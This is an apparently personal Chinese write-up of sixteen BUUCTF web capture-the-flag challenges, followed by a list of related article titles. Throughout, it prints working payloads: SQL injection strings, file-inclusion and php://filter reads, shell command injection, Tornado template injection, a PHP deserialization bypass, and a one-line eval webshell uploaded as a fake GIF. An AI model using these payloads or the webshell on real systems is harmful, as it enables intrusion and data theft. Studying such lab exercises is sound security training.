BUUCTF-WEB(1-16)

1.[HCTF 2018]WarmUp

​ 根据点开靶机时的一个提示:代码审计,可知主要考察代码审计,在点开靶机之后,出现了一个滑稽表情,右键检查网页源码,发现在图片的上方有个注释 ,<!--source.php-->感觉像是个有用的信息,于是在网页的链接后边加上/source.php页面上出现了代码

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {                    //is_string() 函数用于检测变量是否是字符串echo "you can't see it";return false;}if (in_array($page, $whitelist)) {                         //in_array() 函数搜索数组中是否存在指定的值return true;}$_page = mb_substr(                                          //mb_substr() 函数返回字符串的一部分$page,0,mb_strpos($page . '?', '?')             //mb_strpos — 查找字符串在另一个字符串中首次出现的位置);if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>

之后看到第7行和第40代码,尝试在网页链接后加上?file=hint.php于是在界面最下方的图片变为了这一句话

这个提示信息,让我大胆假设一下他说的是对的,flag在ffffllllaaaagggg这个文件里,然后仔细观察第40行的函数,感觉应该和这个include关系密切,估计就是要通过这个来进入ffffllllaaaagggg文件,所以最关键的一步是通过第42行,来达到获取到ffffllllaaaagggg这个文件名,所以接下来就是要如何通过checkFile函数,所以如何绕过第一个截取函数

$_page = mb_substr(                                        //mb_substr() 函数返回字符串的一部分$page,0,mb_strpos($page . '?', '?')             //mb_strpos — 查找字符串在另一个字符串中首次出现的位置);if (in_array($_page, $whitelist)) {return true;}

现在假设payload为:file=source.php?/../ffffllllaaaagggg,经过mb_strpossource.php?/../ffffllllaaaagggg?mb_strpos这个函数只返回首次出现的位置,所以会返回第一个?的位置,而mb_substr截取函数,从0开始截取一直到第一个?的位置,截取内容为source.php,恰好能与白名单中的进行匹配,可以return true;,所以通过第一次截取进行绕过

然后通过hackbar执行payload:/source.php?file=source.php?/../ffffllllaaaagggg,发现没有显示flag,应该是不在这个目录,然后就不断加../最后得到flag,payload为:/source.php?file=source.php?/../../../../ffffllllaaaagggg


2.[强网杯 2019]随便注

点击靶机之后出现了一个网页。

检查网页源码后发现有一个注释<!-- sqlmap是没有灵魂的 -->说实话我挺想用sqlmap的但是毕竟是练题学知识,就自己动手试试

突破口应该在输入框,先点击一下提交看看

点击这个提交之后出现了一段代码

array(2) {[0]=>string(1) "1"[1]=>string(7) "hahahah"
}

然后运用SQL注入的知识开始注入一下,没有可用信息,就随便输入个select *试一试,然后出现了一个提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

preg_match() 函数主要是用来进行过滤,i是指大小写不敏感,也就是大小写都会被过滤,然后测试SQL字符串的闭合,首先输入单引号'发现出现了报错信息,error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1,存在单引号闭合问题,再测试''双引号,没有报错,那就是只存在了单引号闭合问题,但是由于select被过滤,只能用其他的语句试一下:1';show databases;#结果如下:

查完了数据库,那就再查一下表1';show tables;#,结果如下

再查一下列:1';show columns fromwords;#1';show columns from1919810931114514;#,结果如下

得到flag,但是到这里就会出现问题,虽然我们已经得到了flag了,但是select被过滤了,而show命令又不能查看值。这就比较头疼了,不过如果仔细观察的话,一开始过滤的并没有alert 和 rename,我们已经知道了words是用来回显内容的,能不能我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容那,当然是可以的。

这道题我是百度了一下教程写的

payload:1';RENAME TABLEwordsTOwords1;RENAME TABLE1919810931114514TOwords;ALTER TABLEwordsCHANGEflagidVARCHAR(100) ;show columns from words;#

1' or '1'='1访问一下,便可以发现flag


3.[极客大挑战 2019]EasySQL

打开靶机之后,右键检查源码,没有任何其他的东西突破口应该是输入框

加之题目带有SQL,于是测试有无SQL语句闭合问题,输入1'报错,You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1有闭合错误,所以尝试一下注入,万能密码输入'or 1=1#获得flag。


4.[极客大挑战 2019]Havefun

打开之后检查源码,看到这个

<!--$cat=$_GET['cat'];echo $cat;if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';}-->

然后在输入框中添加`?cat=dog,获得flag。


5.[SUCTF 2019]EasySQL

打开网页检查源码,什么也没有,只能从输入框下手

感觉和第一道题类似,于是尝试了一下,第一题的层叠注入,但是这道题不存在闭合问题,所以直接输入1;show databases;

显示Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

再尝试输入1;show tables;显示Array ( [0] => 1 ) Array ( [0] => Flag )看到了flag,但是到查列的时候就不行了,输入show columns from flag;显示Nonono.所以只好百度了。

百度到两种payload:1;set sql_mode=PIPES_AS_CONCAT;select 1*,1 (这个是没有过滤*)

原理是:select $_GET['query'] || flag from flag

6.[ACTF2020 新生赛]Include

打开之后什么也没有,就一个链接,点击之后也是什么线索也没有,然后想到了题目名字,应该是文件包含,然后百度了一下这道题发现了一个思路,使用 “php://filter"伪协议” 来进行包含,然后构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

这里需要注意的是使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码

发送请求得到base64编码后的flag.php文件源码:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZjNlZmMyZDUtMGQ3ZC00NjMxLWIwODQtZTBhZjMyZDRkYTA1fQo=

解码后获得flag。


7.[极客大挑战 2019]Secret File

查看源码后发现有个链接<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>点击后跳转到了一个界面

点击之后显示

什么也没有,那就只好用bp抓包看看了

访问secr3t.php

看了一下代码这个需要用文件包含,同上一道题使用伪协议

payload为:secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php获得base64编码,解码取得flag


8.[极客大挑战 2019]LoveSQL

和第三题类似,直接用万能密码:1' or 1=1#

进入,这个感觉像是一个编码,但是不是,后来发现是考察SQL注入

然后在hackbar中输入check.php?username=admin' order by 3 %23&password=1(注意把#换成%23)这个存在,但是测试到4的时候就报错了。

所以共3个字段。用union查询测试注入点(回显点位):

/check.php?username=1' union select 1,2,3%23&password=1

得到回显点位为2和3,接下来查数据库名及版本:

/check.php?username=1' union select 1,database(),version()%23&password=1

查表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

查出两个表,试一下l0ve1ysq1这个表,查字段:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

查数据:

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

获得flag。


9.[GXYCTF2019]Ping Ping Ping

这道题没思路,百度了一下,才发现是在url里写

为:?ip=127.0.0.1;ls; cat访问flag.php,发现空格被过滤

用%20代替也被过滤,用$IFS$9代替空格,过滤flag

直接不加空格过滤了flag

设置变量绕过字符串过滤

在注释里发现flag

最终为:?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php;


10.[ACTF2020 新生赛]Exec

ping一下127.0.0.1,可以然后执行127.0.0.1;cat /flag;

获得flag


11.[护网杯 2018]easy_tornado

点击第一个链接得到flag in /fllllllllllllag第二个链接是:render第三个是:md5(cookie_secret+md5(filename))

直接进入/fllllllllllllag显示404: Not Found

百度了一下,得知这道题主要是python的一个web框架:Tornado,通过模板注入的方法

参考别人的WP

测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)

尝试/error?msg={{datetime}}
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

/error?msg={{handler.settings}}

'cookie_secret': 'cb123ca1-7de8-46bb-b90f-4dfd86aaa00c'

计算filehash值

import hashlibdef md5(s):md5 = hashlib.md5() md5.update(s) return md5.hexdigest()def filehash():filename = '/fllllllllllllag'cookie_secret = 'cb123ca1-7de8-46bb-b90f-4dfd86aaa00c'print(md5(cookie_secret+md5(filename)))if __name__ == '__main__':filehash()

payload:

file?filename=/fllllllllllllag&filehash=ab3362dfd60feabc355fa9f0844617c8

得到flag:flag{61f768ed-34d5-4db4-8283-8188f5b0e9ca}


12.[极客大挑战 2019]Knife

直接用蚁剑连接,根目录取得flag。


13.[RoarCTF 2019]Easy Calc

检查后发现

<!--I've set up WAF to ensure security.-->
<script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})
</script>

注意第5行,后来百度了一下用的是:PHP的字符串解析特性

进入calc.php出现了源代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

可以看见过滤了一些特殊字符,然后eval执行我们的命令。

尝试输入字符:calc.php?num=a

输入时发现num只能输入数字,输入字符无法解析。只能传入数字和运算符号,不能传入字符(想办法绕过waf)

这里可以利用php的字符串解析特性绕过bypass:利用PHP的字符串解析特性Bypass
所以我们可以在num前加个空格绕过waf

scandir("/")获取目录,但是/被过滤,所以用chr(47)绕过

所以payload为:? num=1;var_dump(scandir(chr(47)))

找到flagg

获取flagg的payload为:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag:

也可以用http走私https://www.cnblogs.com/chrysanthemum/p/11757363.html


14.[极客大挑战 2019]Http

在带开一个界面之后没有发现任何有用的信息,于是在一一检查源码后发现

这里有一个跳转的链接,点击后出现

用bp拦截http://node3.buuoj.cn:25671/Secret.php,然后用BP修改header添加一行:

Referer:https://www.Sycsecret.com

返回的结果显示

然后在header继续添加

User-Agent: "Syclover"

获得No!!! you can only read this locally!!!提示

然后伪造IP,在header里添加

X-Forwarded-For:127.0.0.1

得到flag


15.[极客大挑战 2019]PHP

百度了一下,备份网站目录下有一个www.zip文件

直接在路径名里输入就能下载,解压后有个index.php文件,打开后发现

然后再观察class.php发现

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

分析代码可知在执行destruct方法的时候,如果用户名为admin,密码为100则可以输出flag的值。

但是wakeup方法会导致username成为guest,因此需要通过序列化字符串中对象的个数来绕过该方法。

所以payload为

import  requestsurl ="http://7fbf6bbc-b50f-4ff7-93b3-8cef4b984c26.node3.buuoj.cn/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

或者是

index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

参考文章:https://blog.csdn.net/weixin_44077544/article/details/103542260


16.[极客大挑战 2019]Upload

这道题一看就是文件上传

所以新建一个文件后缀为:.phtml,写入一句话木马

GIF89a
<script language="php">eval($_POST['shell']);</script>

上传,bp拦截一下,将Content-Type改为image/jpeg

然后蚁剑链接

/upload/1.phtml

打开终端

cat /flag

得到flag。


BUUCTF-WEB(1-16)相关推荐

  1. BUUCTF web(三)

    [HCTF 2018]admin 随便注册了一个账号,登陆进去在change password界面源码找到了 Flask是一个使用 Python 编写的轻量级 Web 应用框架.其 WSGI 工具箱采 ...

  2. 题解记录-BUUCTF|Web (持续更新中)

    BUUCTF-Web(持续更新) [极客大挑战 2019]EasySQL [HCTF 2018]WarmUp [极客大挑战 2019]Havefun [ACTF2020 新生赛]Include [AC ...

  3. Spring Web(第一部分)

    1. Spring Web MVC Spring Web MVC是在Servlet API上构建的原始Web框架,从一开始就包含在Spring框架中.其正式名称"Spring Web MVC ...

  4. 攻防世界writeup——Web(持续更新)

    文章目录 ics-06(XCTF 4th-CyberEarth) NewsCenter( XCTF 4th-QCTF-2018) lottery(XCTF 4th-QCTF-2018) NaNNaNN ...

  5. 《评人工智能如何走向新阶段》后记(再续16)

    由AI科技大本营下载自视觉中国 181.5种常见的机器学习方法. (1)线性回归linear regression: 一种流行的回归算法,从样本特征的线性组合,linear combination中学 ...

  6. 初一模拟赛总结(3.16)

    成绩: rankrankrank namenamename scorescorescore T1T1T1 T2T2T2 T3T3T3 T4T4T4 111 lyflyflyf 210210210 30 ...

  7. 大数据早报:合肥公证机构启用人脸识别系统;阿里AI时尚助手进驻全国13家门店 (11.16)

    数据早知道,上乐投网看早报! 『融资』众盟数据完成3亿元B轮系列融资,以线下数据资产化赋能新零售 近日,国内最大的线下数据服务平台ZMT众盟(简称众盟数据)宣布完成1.8亿元B+轮融资,本轮融资由云锋 ...

  8. BUUCTF——web([GXYCTF2019]Ping Ping Ping、[极客大挑战 2019]Knife、[极客大挑战 2019]Http)

    BUUCTF-web [GXYCTF2019]Ping Ping Ping 做题思路 [极客大挑战 2019]Knife 做题思路 [极客大挑战 2019]Http 做题思路 [GXYCTF2019] ...

  9. 【CTF】buuctf web (四)——通过配置文件构造PHP后门

    知识点 php.ini php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM.PHP_INI_PERDIR.PHP_INI_ALL.P ...

  10. 【CTF】buuctf web(三)——PHP序列化与反序列化

    知识点 后台目录扫描工具:dirsearch 魔术方法wakeup()绕过:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124) 常见的备份文件后缀名:.git .svn ...

最新文章

  1. PHP自动加载类—__autoload()和spl_autoload_register()
  2. 如何在vim保存时获得sudo权限
  3. 54.什么是页面?什么是块或物理块?
  4. 一级计算机综合训练第五卷,2018职称计算机考试基础综合练习及答案(5)
  5. VC,一条会被鼠标移动的直线
  6. 东明县计算机学校,东明县职业中等专业学校2021年招生信息
  7. c语言创建一个hello.txt文件,并检查是否成功,广东工业大学C语言验(上机)任务书2015版.doc...
  8. 农业智慧物联卡火爆发展中存在的问题
  9. esp8266使用BME280实时上传温湿度气压
  10. 接触webGl(three.js)之全景(VR)看房的实现旅程总结
  11. 灰狼优化算法训练多层感知神经网络研究(Matlab代码实现)
  12. 太可怕啦!AI 一秒还原马赛克,有码变高清
  13. 每周一品 · 磁选机中的磁性材料
  14. Unsupervised Feature Learning via Non-Parametric Instance Discrimination
  15. 开源商城系统php哪个好,开源电商系统选择哪个好?
  16. 真值 原码 反码 补码
  17. FtpServer的安装配置方法
  18. Visio 安装激活方法
  19. 自动驾驶轨迹预测任务浅述
  20. 10个常见的前端手写功能,你全都会吗?

热门文章

  1. 如何登陆FTP服务器下载文件
  2. C#操作Memcached缓存
  3. 一文读懂 NMEA-0183 协议数据
  4. android 微信表情雨,2017新年微信表情雨大召唤术-微信彩蛋表情雨2017预约 _5577安卓网...
  5. 19秋计算机应用基础在线作业2,计算机应用基础19秋在线作业2 Windows 下能浏览并管理文件 驱动器及网络连接的强大工具是...
  6. 计算机系统记忆部件是,什么是计算机系统的记忆部件
  7. 深入解读云场景下的网络抖动
  8. Auto.js加密解密|快照Snapshot解密|Dex转js|Auto.js庖丁下载|解除APP限制
  9. App如何在background状态下存活
  10. FMM和BMM的python代码实现